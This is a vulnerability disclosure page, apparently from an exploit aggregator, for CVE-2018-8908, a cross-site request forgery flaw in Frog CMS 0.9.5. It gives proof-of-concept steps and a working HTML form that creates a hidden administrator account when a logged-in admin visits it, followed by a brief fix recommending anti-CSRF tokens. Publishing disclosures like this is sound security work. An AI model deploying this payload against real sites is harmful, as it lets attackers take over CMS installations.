Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User)

🗓️ 02 Apr 2018 00:00:00Reported by Samrat DasType

Cross-Site Request Forgery in Frog CMS 0.9.

Reporter	Title	Published	Views	Family All 10
0day.today	Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User) Vulnerability	2 Apr 201800:00	–	zdt
ATTACKERKB	CVE-2018-8908	31 Mar 201822:29	–	attackerkb
CNVD	Frog CMS Cross-Site Request Forgery Vulnerability	19 Apr 201800:00	–	cnvd
CVE	CVE-2018-8908	31 Mar 201822:00	–	cve
Cvelist	CVE-2018-8908	31 Mar 201822:00	–	cvelist
EUVD	EUVD-2018-20516	7 Oct 202500:30	–	euvd
exploitpack	Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User)	2 Apr 201800:00	–	exploitpack
NVD	CVE-2018-8908	31 Mar 201822:29	–	nvd
Packet Storm	Frog CMS 0.9.5 Cross Site Request Forgery	31 Mar 201800:00	–	packetstorm
Prion	Cross site request forgery (csrf)	31 Mar 201822:29	–	prion

# Exploit Title: Cross Site Request Forgery- Frog CMS
# Date: 31-03-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# CVE :  CVE-2018-8908
# Category: Webapp CMS


1. Description

The application source code is coded in a way which allows malicious HTML
request to be executed without veryifying source of request.This leads to
arbitary execution with malicous request which will lead to the creation of
a privileged user.

2. Proof of Concept

      Visit the application
      Visit the Add Users Page.
      Craft an html page with all the details for an admin user creation
and host it on a server
      Upon the link being clicked by a logged in admin user, immidiately,
another admin user will get created.

Exploit Code:

<html>
  <body>
    <form action="http://localhost/frog/admin/?/user/add" method="POST">
      <input type="hidden" name="user&#91;name&#93;" value="Test&#95;1" />
      <input type="hidden" name="user&#91;email&#93;" value="" />
      <input type="hidden" name="user&#91;username&#93;" value="test" />
      <input type="hidden" name="user&#91;password&#93;" value="test" />
      <input type="hidden" name="user&#91;confirm&#93;" value="test" />
      <input type="hidden"
name="user&#95;permission&#91;administrator&#93;" value="1" />
      <input type="hidden" name="commit" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


3. Solution:

Solution - Fix & Patch: The application code should be configured to
implement anti csrf token to filter malicous HTTP Requests.


4. Public Reference with POC and steps:

http://securitywarrior9.blogspot.in/2018/03/cross-site-request-forgery-frog-cms-cve.html

Thanks and Regards
Samrat

02 Apr 2018 00:00Current

7High risk

Vulners AI Score7

CVSS 26.8

CVSS 38.8

EPSS0.00236